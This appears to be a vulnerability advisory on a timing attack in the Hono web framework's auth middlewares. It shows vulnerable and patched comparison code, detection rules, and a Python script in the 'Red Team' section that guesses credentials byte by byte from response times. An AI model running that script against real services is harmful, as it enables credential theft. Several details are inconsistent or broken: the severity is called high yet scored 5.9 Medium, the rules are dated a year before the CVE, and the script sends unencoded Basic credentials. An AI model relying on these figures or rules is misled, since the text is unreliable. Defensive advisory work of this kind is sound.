CVE-2026-56764

Executive Summary

CVE-2026-56764 is a timing attack vulnerability in the Hono web framework (versions before 4.11.10). The flaw resides in the basicAuth and bearerAuth middlewares, which use a non-constant-time string comparison function (timingSafeEqual). An attacker can exploit the early termination of string equality checks to infer valid credentials (passwords or bearer tokens) through precise timing measurements over the network. This vulnerability is classified as a high-severity information disclosure issue (CWE-208) with a CVSS v3.1 score of 5.9. No public proof-of-concept (PoC) or exploit code is currently available, but the attack vector is well-understood and can be weaponized with sufficient network proximity.

Supply Chain & Package Security

Hono is a popular open-source web framework for Cloudflare Workers, Deno, and Bun, distributed via npm (hono). This vulnerability affects all downstream applications and services that use the affected middleware versions. Organizations should audit their dependencies for hono versions below 4.11.10 and update immediately. The package is widely used in serverless and edge computing environments, making this a critical supply chain risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires precise timing measurements and multiple requests.
• Privileges Required (PR): None (N) – No authentication needed to start the attack.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Credentials can be fully recovered.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 5.9 (Medium)
Threat Level: High (due to potential for credential theft in serverless environments)

Deep Dive & Mechanics

The vulnerability exists in the timingSafeEqual function within Hono's middleware. In versions prior to 4.11.10, this function performs a byte-by-byte comparison of the provided credential (e.g., password or bearer token) against the expected value. However, the comparison is not constant-time; it returns false as soon as a mismatched byte is found. This early termination leaks timing information: a request with a partially correct credential will take slightly longer than one with a completely incorrect credential.

An attacker can exploit this by:

1. Sending a series of HTTP requests with guessed credentials.
2. Measuring the response time for each request.
3. Identifying the credential prefix that yields the longest response time (indicating more correct bytes).
4. Iteratively extending the correct prefix until the full credential is recovered.

The attack requires:

• Network proximity (low latency, stable connection) to measure microsecond-level timing differences.
• Multiple requests (typically thousands to tens of thousands) to statistically filter out noise.
• Knowledge of the authentication scheme (Basic Auth or Bearer Token) used by the target.

Vulnerable vs. Patched Code

Vulnerable Code (Hono < 4.11.10):

// Non-constant-time comparison
function timingSafeEqual(a, b) {
  if (a.length !== b.length) {
    return false;
  }
  for (let i = 0; i < a.length; i++) {
    if (a[i] !== b[i]) {
      return false; // Early exit leaks timing
    }
  }
  return true;
}

Patched Code (Hono >= 4.11.10):

// Constant-time comparison
function timingSafeEqual(a, b) {
  if (a.length !== b.length) {
    return false;
  }
  let result = 0;
  for (let i = 0; i < a.length; i++) {
    result |= a.charCodeAt(i) ^ b.charCodeAt(i);
  }
  return result === 0;
}

The patched version uses a bitwise XOR operation across all bytes, ensuring that the function always takes the same amount of time regardless of where the first mismatch occurs.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Hono application (version 4.11.9) with Basic Auth enabled.
2. Use a tool like timing_attack.py (custom script) to perform the timing attack.

Exploitation Steps:

1. Identify the target endpoint protected by Basic Auth or Bearer Token.
2. Use a script to send HTTP requests with varying credential prefixes.
3. Measure response times using high-resolution timers (e.g., time.time_ns() in Python).
4. Apply statistical analysis (e.g., mean, median, or t-test) to identify the correct prefix.
5. Iterate until the full credential is recovered.

Example Python Script (Conceptual):

import requests
import time

def measure_response_time(url, auth_header):
    start = time.time_ns()
    response = requests.get(url, headers={"Authorization": auth_header})
    end = time.time_ns()
    return end - start

# Iterative prefix discovery
known_prefix = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for _ in range(10):  # Assume credential length is 10
    best_char = None
    best_time = 0
    for c in charset:
        test_cred = known_prefix + c + "A" * (10 - len(known_prefix) - 1)
        times = [measure_response_time("http://target.com/protected", f"Basic {test_cred}") for _ in range(100)]
        avg_time = sum(times) / len(times)
        if avg_time > best_time:
            best_time = avg_time
            best_char = c
    known_prefix += best_char
    print(f"Discovered prefix: {known_prefix}")

Blue Team (Defensive)

Detection:

• Monitor for anomalous HTTP request patterns with varying Authorization headers.
• Look for requests with unusually high response times (indicating timing attack attempts).
• Use the Sigma rule below to detect timing attack patterns.

Mitigation:

• Immediately upgrade to Hono 4.11.10 or later.
• Implement rate limiting on authentication endpoints.
• Add jitter to response times to obscure timing differences.
• Use Web Application Firewall (WAF) rules to block requests with suspicious Authorization headers.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple HTTP requests to the same endpoint with incremental changes in the Authorization header.
  • Unusually high response times for authentication requests (e.g., >100ms for small payloads).
  • Requests with Authorization headers containing base64-encoded strings that vary by one character at a time.

• Host IOCs:

  • Logs showing repeated authentication failures with similar credentials.
  • High CPU usage on the server due to repeated authentication attempts.

• File IOCs:

  • Presence of custom timing attack scripts (e.g., timing_attack.py, exploit_timing.py).

Detection Engineering

YARA Rule

rule CVE_2026_56764_Timing_Attack {
    meta:
        description = "Detects Hono timing attack exploitation attempts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-56764"
    strings:
        $auth_header = /Authorization:\s*(Basic|Bearer)\s+[A-Za-z0-9+\/=]{10,}/ nocase
        $timing_pattern = /(\d{2,}\.\d{2,})/  // High response time in ms
    condition:
        $auth_header and #timing_pattern > 10
}

Sigma Rule

title: Hono Timing Attack Detection
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects potential timing attack against Hono basicAuth/bearerAuth
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.response_time: ">100"
        http.method: "GET|POST"
        http.url_contains: "/auth|/login|/api/protected"
    condition: selection
falsepositives:
    - Legitimate slow network connections
    - High server load
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56764 Hono Timing Attack Attempt"; flow:to_server; content:"Authorization"; nocase; pcre:"/Authorization:\s*(Basic|Bearer)\s+[A-Za-z0-9+\/=]{10,}/"; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Hono to version 4.11.10 or later.

   npm install hono@4.11.10
   

2. Workaround: If immediate upgrade is not possible, implement a custom constant-time comparison function in your application code and override the middleware behavior.

3. Network-Level Mitigation:

   • Deploy a WAF with rate limiting on authentication endpoints.
   • Add random delays (jitter) to authentication responses.
   • Use TLS to encrypt traffic (though timing attacks can still work over encrypted channels with sufficient precision).

4. Monitoring:

   • Enable detailed logging for authentication failures.
   • Set up alerts for unusual patterns in authentication request timing.

5. Long-Term:

   • Conduct regular dependency audits using tools like npm audit or Snyk.
   • Implement multi-factor authentication (MFA) to reduce the impact of credential theft.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert